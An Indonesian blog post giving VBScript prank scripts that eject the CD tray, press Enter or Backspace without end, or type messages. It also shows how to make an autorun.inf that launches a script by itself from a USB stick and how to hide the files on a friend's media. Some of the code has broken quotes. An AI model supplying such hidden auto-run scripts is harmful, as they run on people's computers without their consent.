Senin, 20 Desember 2010

Jahil Dengan Visual Basic via Notepad

Anda pernah dikerjai teman anda ??? bahkan hingga anda bingung tentang kondisi komputer anda ??? kini saatnya untuk balas dendam...
Dengan menggunakan Bahasa Pemrograman Visual Basic, kita akan membuat file yang akan membuat korban hilang akal saat dikerjain.


Persiapan :
  • Notepad
  • Mental
  • dan secangkir kopi bila perlu. hehehe...
Pertama buka notepad yang sudah anda persiapkan. lalu, Copy Paste kodenya dan simpan dengan format vbs (contoh: File.vbs).

Berikut kodenya:

1. mengerjai computer teman dengan membuka,tutup,buka lagi DVD room ( Mengeject CD/DVD-Drive Terus Menerus)


Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


lalu simpan dengan nama keinginan anda“namafile.VBS” & Berikan ke computer target,

2. mengerjai orang lain Dengan memencet Tombol ENTER Terus Menerus


Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop


trus save dengan “namafile.VBS” & Berikan keteman Anda

3. memencet Backspace terus menerus


MsgBox “Maaf, Anda Harus Mengulang Kembali
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop


lalu save dengan “namafile.VBS” dan kasih ke teman kamu info:text merah dapat diganti sesuai keinginan!

4. mengerjai Dengan Keyboard pesan keyboard rusak


Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “ Sory gan. Keyboardnya ngambek :p
loop

save dengan “namafile.VBS” & Berikan keteman Anda info:text merah dapat anda ganti!..



5. Mengerjai dengan pesan lambat Notepad


WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel
WScript.Sleep 500
WshShell.SendKeys “lo
WScript.Sleep 500
WshShell.SendKeys “, ho
WScript.Sleep 500
WshShell.SendKeys “w a
WScript.Sleep 500
WshShell.SendKeys “re
WScript.Sleep 500
WshShell.SendKeys “you
WScript.Sleep 500
WshShell.SendKeys “?
WScript.Sleep 500
WshShell.SendKeys “I a
WScript.Sleep 500
WshShell.SendKeys “m g
WScript.Sleep 500
WshShell.SendKeys “ood
WScript.Sleep 500
WshShell.SendKeys ” th
WScript.Sleep 500
WshShell.SendKeys “ank
WScript.Sleep 500
WshShell.SendKeys “s! “


Simpan dengan “namafile.VBS” & Berikan keteman kamu. kata Hello, how are you? I am good thanks! Dapat kamu ganti sesuai keinginan.

The Final
Puaskan Buat mengerjai/menjahili orang. Program tadi akan langsung jalan ketika file tersebut dieksekusi atau dijalankan oleh si pemakai.jika ingin jalan sendiri secara otomatis buat file autorun.inf caranya:
Buka notepad, copy kode ini

[Autorun]
shellexecute=wscript.exe NAMAFILE.FORMAT
action= Assalamualaikum
ganti text warna merah NAMAFILE.FORMAT dengan nama file yang tadi dibuat
lalu save dengan nama ” autorun.inf” pilihan save as type pilih “all files”
Enter>selesai.
Langkah terakhir copy file autorun.inf dan file ke flashdisk/cd/disket teman anda. Kemudian hidden keduanya. Good luck !

Cara mengatasi no 1-4 tekan ALT+CTRL+DEL pada keyboard secara bersamaan, sehingga muncul task manager
Klik tab bagian process lalu pilih lalu klik kanan program yang kamu buat tadi, kemudian klik terminate process lalu klik yes

cara pencegahannya tinggal mati'in aja autorun d komp kamu.

Gimana sekarang ??? udah puas kan ?? ngerjainnya ga usah berlarut-larut, kasihan juga temannya ntar. ^_^

4 komentar:

  1. cuy mintak izin nekan tombol Ctrl+S ea......

    BalasHapus
  2. Tips bagus gan...
    jangan luppa lihat blog saya juga ya gan?
    http://bonzarcheat.blogspot.com/

    BalasHapus

Silahkan tinggalkan komentar anda disini